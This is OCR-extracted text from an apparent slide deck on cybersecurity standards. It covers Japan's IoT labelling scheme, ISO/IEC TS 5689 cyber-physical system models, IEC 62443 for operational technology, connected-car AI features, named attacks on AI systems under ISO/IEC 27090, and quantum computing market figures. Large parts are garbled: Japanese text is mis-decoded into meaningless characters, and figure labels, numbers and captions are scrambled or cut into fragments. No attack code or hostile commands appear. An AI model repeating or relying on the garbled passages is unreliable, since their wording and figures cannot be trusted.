Ex. Telecommunication devices, smart home appliances,

crime prevention devices

Number of levels
TBD




How it will work for 1 (Level 1)

METI

J Supervise

Certification Body

/ 7&( 1 certify, grant label

Vendor
submits

self-declaration Manufacturer, etc.




How it will work for %2+ (TBD)

METI
J Supervise J Supervise
Accreditation Certification Body
Body
‘ l ‘ l T Certify, grant label
Evaluation Evaluation w2+
oo Facility A Facility B
Manufacturer, etc.
Vendor
requests
Evaluation




BSEFMBIECTEELCWSIREEER ? (RA-N\-tyiH)

Cyber Resilience
Act

PSTI Regulations

Terminal Equipment
Regulations

CLS *1

ETSI EN IEC 62443-4-1/

303 645 4>
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PWI 5689 — NP ISO/IEC TS 5689

Title: Cybersecurity -Security frameworks and use cases
for cyber physical systems

Scope

CPS HLEET VLT D BB IHE
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Connections in
cyber space

Data
transcription
in Cyber/Physical

Data processing, analysis, management

Analysis servers

L

Manufacture 0T
dewces J‘

SpInT |

Connections in physical space
Fig.1 Conceptual Model of CPS (This is not included in the text of TS 5689)

(Integrated analysis of data collected at multiple points, processing S m =
and accumulation, and feedback of appropriate analysis results to =\ﬁ/ -
0T consumers in Physical space) = =
i | Feedback 4} Feedback
Camera data of analysis Camera data of analysis
Data| Environmental results - results
transmission data Data Activity Log
Healthcare data transmission| | ,cation data
------------------------------------------ = R e e e e R e e
Sell 10T devices Use loT Use loT |
|\ devices devices
[ o000 i
%, PUNR 1Y pung a




Figure 3. An example of 3-tier
conceptual model with 3 cyber
physical systems

The Third Layer

(Connections in cyberspace)

Trustworthiness of data is a key for secured
products and services

The Second Layer

(Mutual connections between cyber & physical
space)

Trustworthiness of “transcription” is a key for
normal operation of cyber-physical systems

The First Layer

(Connections among Organizations or people)

Trustworthiness of organization’s management
is a key for secured products and services

cyberspace

Data managed by
Organization or
people D

Data managed by
Organization or

Data managed by
Organization or
people E

| Data managed by A Data managed by
‘ Organization or Organization or '
‘ people A people C

Organizatio Organization Drganization
or people D or people B or people E
Organization 4—> Organization

or people A or people C

physical space




TS 5689 : >IN ETH

Cyber physical system
Analysis tier > Decision E
L IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII I
| < > Human
Interface tier Information Action :
'.'.'.'.'.'.'.'.'.'_'.'.'.'.'.'.'.'.'.'.'_'_'.'.'.'.'.'.'.'.'.'_'_fs.".'.'.'.'.'.'.'.'_'_'_'.'.'.'.'.'.'.'.'_'_'_'_'.'.'.'.'.'.'.'.'_'_i'.'.'.'.'.'.'.'.:
Operation tier Physical | E
State :




I EC SemNorm PoC: lloT Transfer Functions Part of ((OT || IT)==CPS Logical Model)
=m=—te4l To Derive Provenance of Data from CPS Trajectories
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What Is OT (Operational Technology)

OT (Operational Technology) &l TIHPFEEF, 30@HK
BIREDIE R TSCHNT, VIRRYES AT AR, %Rz ax
18 (& FH 9 31Dl - :E AN DFEFR CTdnd . EARRIIC(E. R
e PEl ez RIS 9 A0/ M2, TIHFICHIFEd T — 75_"15\’)7:_%7&
TEZAVIRE, SETERAEDH S

Systems in the factory

N I

|
- o H

. B Cloud and
K OT system I'T system / Big data

| I.IJ

Internet




OT securityDiZE#EAL (KIFDOERIR)

Information
System (IT)

Organizations/ [~ 1ISO/IEC
Management 27000
Series

Systems design

Components

Operational

System (OT)

Railway system

\

\_

IEC 62443

62278

\‘ ISO/IEC \

Series

J

ISO/IEC 62278: Railway applications - Specification and demonstration of reliability,
availability, maintainability and safety (RAMS)



Introduction of IEC 62443 Series B

- IEC 62443 ($, SS#EFIE SAF L, IVR—R> MOIERICAEREHEE TR
U. IEB(CZDOBMRB LFIERGRENES I DHIEIS AT AOFFIECEDWVWTHE
SN TS,

+ [EC 62443 (&, $IfHIS AT ADRETE . RRICRIET 3 F1UT (X 5REEMT
B3 EN N —LTHD, THESOHIHSZT LAOT+1UT 2 BIFEIHN-LT
WDZEMFEITHD.,

« Basically, IEC 62443 consists of the following four groups:

€ |EC 62443-1: Overview (Concept/Model, Terms, Life cycle, Use cases...)

€ |EC 62443-2: Policies, procedures (Security Requirements for owner,
protection levels, patch management, Implementation guides...)

@ |EC 62443-3: Systems (Security Technology, Risk management, Security
levels...)

€ |IEC 62443-4: Components (Product development life cycle, Technology
requirements...)




I0TAT7—S (BFHA) (CERHETBIoTHRIEE

1. THEEEaIDIoTHzZzsOtZF1 5+
ISO/IEC 27400, 27402, 27404, etc.

=Jur=— ==

2. 1BAHABIDIOTS AT LADTF 1 ST A KTE « 595
ISO/IEC 27400, etc.

3. 0T AT LADEEREOERKOTEFI YT+
Finding Vulnerable IoT devices, ISO/IEC 27400, etc.

4. IoTZ AT LDSA TFA LW D IZRFER
ISO/IEC 27400, 27402, etc.
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- Relation between Cars and ICT (Past, present and future) -




Relation between Cars and ICT (Past, present and future)

Various Web services
- Internet Radio

- Restaurant Guide . @Fg n ﬂ
- Map/ Navigation service

- Weather, News — @ ‘. .

Ak
Data
Center
Dynamic Route

_ Detection of
uidance Hazardous
Environmental

ex. Slippery

Map Update ots, Flooding

TI®

Server

ex. Charging Spots, Estima
of Driving Distance Register new

charging spot

1900 ~ 1970 2000 101

Implementation of 200 ECUs for luxury cars,

50-60 for volume cars

ECU (semiconductor)

Slide from Prof. Tsuguo Nobe



Relation between Cars and ICT (Past, present and future)

It is desirable that the
network is always available,
but not necessarily always
connected

Various Web services
- Internet Radio
- Restaurant Guide .
- Map/ Navigation service
- Weather, News

Mobility
Service Biz.

The car runs as the
driver operates

Likewise, runs as the
computer instructs

Cccasionally Update

Software must be
developed to always
instruct correctly

1900

Slide from Prof. Tsuguo Nobe

Century of petroleum, century of cars

1970 2000 10 15 20 25

S~ nf

200 ECUs for luxury cars,
Age of . 50-60 for volume cars e

1
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Waymo (self-driving cab commercialization) in San Francisco il
(ISC2 Event (2024/05/21) )
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More ANECRES il

Enterprise

A1 RX—=3v bH

Audio/ Video Telematics Diagnostics
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http://gigaom.com/2013/08/06/ciscos-remedy-for-connected-car-security-treat-the-car-like-an-enterprise/
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« Biometrics for vehicle access :*IEET‘EH (I\o

« HMC developed the "Face Connect" teC||I|U|uyy UldL IELUYITILED 1dLE> W
control doors and personalize the driving experience to tﬁe registered
driver with Al technology, which enables to recognize a driver regardless
of face aging, hat, glasses and mask.

« This is a key technology that makes it possible to enter and drive a
vehicle without a smart or digital key, and is expected to usher in an era
when cars can be operated without a key and using only biometric
information.

« HMC has been applying innovative Al technologies to enhance the
connectivity between people and vehicles, and Face Connect, which is a
technology that helps drivers and vehicles communicate with each other
along with a fingerprint authentication system, is expected to
significantly improve customer convenience.

« Face Connect recognizes the driver's face and determines who the user
is while locking or unlocking the vehicle's doors and adapts the driver's
seat and steering wheel position, head-up display (HUD), side mirrors,
and infotainment settings to suit the driver.

« HMC has applied a near-infrared (NIR) camera to Face Connect to
ensure daytime-like recognition performance in dark conditions such as
cloudy weather or at night, and utilizes deep learning-based image
recognition technology to clearly determine whether the face is a pre-
registered face.
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drivers drive safely by comprehensively
analyzing various vital signs.

* In the field of healthcare, a model consisting
of vehicle behavior/passenger
motion/sickness is utilized to predict the
behavior of a passenger's body to reduce
motion sickness in autonomous vehicles
using Artificial Intelligence.




@& HYUNDAI

« Al based Connected Car Voice Recognition

INFOTAINMENTS

NI, EBERRODA S TATA A Ml
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(5% functions such a5 venide control navigation ot [HI DR R EAROD B RBESS,
(¢ ’\

settings, and vehicle manual information search thre.g.. .c.cc
recognition while driving.

In particular, HMC has developed the vehicle system in
conjunction with voice recognition technology from the design
stage to significantly expand the types and scope of services,
enabling it to acquire vehicle management and manual
information and control vehicle systems and functions through
natural language commands based on Al technology.

Customers can also easily control and set vehicle systems and
functions by voice, such as "Change the interior mood light to
red," "Set the passenger seat temperature to 23 degrees," and
"Change the voice of the navigation system.”

In addition, HMC plans to continuously improve the satisfaction
of connected car services by constantly updating voice
commands that reflect various situations and information
related to car life, such as unfamiliar vehicle terms and
operation methods, through its self-developed next-generation
connected car Al voice recognition technology.

SiriusXM
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seater mobility with autonomous dr

the pilot service uses vehicles with | 5]%13-5:&(173 b\t%bnao

driving technology.

It is characterized by the absence of emergency driver
intervention except in some limited circumstances.

« Hyundai is providing the service in conjunction with its
Al-based demand-responsive mobility service.

« A mobility service incorporates Al technology, robo-
shuttle service shortens waiting time and improves
dispatch efficiency by allowing passengers to request a
vehicle from a nearby stop through an app, and the
vehicle moves to the requested location along an optimal
route generated by an Al algorithm.
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custom experience for the driver.

« The technology, an industry first, incorporates artificial intelligence (Al)
within the Advanced Driver Assistance System (ADAS) feature.

« Machine Learning based Smart Cruise Control combines Al and SCC into
a system that learns the driver’s patterns and habits on its own. Through
machine learning, Smart Cruise Control autonomously drives in an
identical pattern as that of the driver.

« For instance, maintaining a short distance from the preceding vehicle
during slow, city driving, and further away when driving in the fast lane.
Considering these various conditions, Machine Learning based Smart
Cruise Control makes analysis to distinguish over 10 thousand patterns,
developing a flexible Smart Cruise Control technology that can adapt to
any driver's patterns. The driving pattern information is regularly
updated with sensors, reflecting the driver’s latest driving style. In
addition, Machine Learning based Smart Cruise Control is programmed
specifically to avoid learning unsafe driving patterns, increasing its
reliability and safety.
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Inversion attack:J/N\—XTI>> 7Y TN -5 —4
Get Data 2R

Prepare

Data Backdoor attack: AIEF)VARICHI T ENeT—4 (J\wIR7)

HATIEN. ZDR(ICINE %(LCJ:D_Cl\UjJ cndE. AIETILD
BURVWT AR TOINEE

Poisoning attack:INEE& (X, ZZTOTR(CHLT, DLEFT
IWDERICERITZEET— ’5’7&’3&3/\;350

Model
Testing Evasion attack: AIDFR D 3BZBF I DBy > T (st

FSEHI) ZVER T SF<ilT,

Model extraction attack: Y/N\—XI>> =PI (ICEDETIL
R

Information based on the KeyNote in MobiSec 2023 by Prof. Jung (Korea)
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ISO BRI S

P7000 Model Process for Addressing Ethical
Concerns During System Design
TC22 TC45A P7001 Transparency of Autonomous Systems
Road vehicles Nuclear facilities
. . —I P7002 Data Privacy Process I
TC37/SC4 Software and svstems engineering
TC100 P7003 Algorithnmic Bias Considerations
Language resource timed
managemenr Computer graphics, image processing and Multimedia an ata
. . Governance
environmental data representation
TC68

Financial services

TC124 D7005 Standard for Transparent Employer Data
SC27 Wearable Governance
IT Security techniques

Applications of gocdzg P o and al Standz icz
statistical methods ing of_ au_ io, p:cr?ma, multimedia an

hypermedia information P7008 Standard for Ethically Driven Nudging
TC108/SC5 for Robotic. Intelligent and Autonomous
Condition monitoring and SC32 . E Iﬁ % m S
diagnostics of machine Data management and interchange P7009 Standard for Fail-Safe Design of
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systams 33 I.E. Autonomous and Semi-Autonomous S
TCZO:4 User interfaces
Intelligent

transport systems SC37 s and Ra -
Biometrics I gG[ g =
TC299 Future networks
Robotics SC38 I (&cloud) P7012 Machine Readable Personal Privacy
. Cloud Computing and Distributed Platforms Terms Recommendation

SG20

. P7013 Inclusion and Application Standards for
SC40 IoT, smart cities Automated Facial Analysis Technologs

IT Service Management and IT

and communities .
I P7014 Enwlated Empathy in Autonomous and
S C 4 2 [ntel]jﬁmt Systems
TC: Technical Committee

" A : JTC: Joint Technical Committee
ArtIfICIaI Intel I Igent SC: Subcommittee HIUE TAIOEEEE/LE R LYT|H




ATHEESATADEFIVTABRICTNTIDHDHA IV A
(ISO/IEC 27090: Cybersecurity — Artificial Intelligence — Guidance
for addressing security threats to artificial intelligence systems)

Scope
Normative References
Terms and definitions

Abbreviated terms ISO/I EC JTC 1/SC42
Application of information security tSCZ 7&:0)5@*%

Threats to Al systems
General

Data poisoning attack
Evasion attack
Membership inference
Model exfiltration
Model inversion
Scaling attacks

7. Systemic considerations for multiple concurrent mitigations
1. Overview
2. Conflicting interactions of mitigations
3. Continuity of mitigations across the Al life cycle
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sF 1oE1—%Eld  (by Wikipedia) :

« 2 F12E1—4 (quantum computer) FEFHEORBZETEICGALRZIY
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LU TE, IBM (IBM Quantum). Google Quantum AI. Microsoft. Intel.
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Intel - Chip
IBM Q System One (2019), Microsoft Azure Quantum Google Quantum Al

the first circuit-based
commercial quantum computer
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Generous government spending

Spending on quantum research by country [USD million]

Global T TTITTIIUIIIIIIIIITTTTTTTTIRRSR 22,000
China T 10,000

Germany B 3,700

France B 1,600

UK B 1,300

us B 1,200

European Union [ 1,700 E?]/tl gd)ﬁﬂj'bﬁ:ﬁ%((—ﬁag_éﬁﬁr_j:
India B 1,000 BEA7 o 118

Canada B 786 o =

Russia BN 683 2 O 2 1 _ODHJ_JE'
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Israel ™ 360 (By Roland Berger)

Netherlands N 177

Singapore i 109

Australia i 94

Korea | 37

Source Qureca Ltd., Roland Berger
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Four key segments of the quantum market
Outlook for segment growth through 2040 (USD m)

1) EF1E1—-9DFFE

3) BE= - @{SHi
4) ¥ty
(By Roland Berger)

STFOHIZICHEITE 4 DOEERTDEY

2) SxiERt (RHE=E. EZ2RJ5E)

1%

36 QT% 20 %
1150 [/, 427 /3%

49,500
4%
mm B%

II3871
IISDH
/L

128,390

3%
M 6%
67 %

I24:f.
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00
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B Quantum computing B Supporting technolagies

Source Expert interviews. desk research, Roland Berges
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2040
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QUANTUM CRYPTOGRAPHY MARKET GLOBAL FORECAST TO 2028 (USD BN)

G

41.2

%e global quantum
cryptography market is
expected to be worth USD
3.0 billion by 2028, growing
at a CAGR of 41.2% during
the forecast period.
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PQC (Mf=Fig=)
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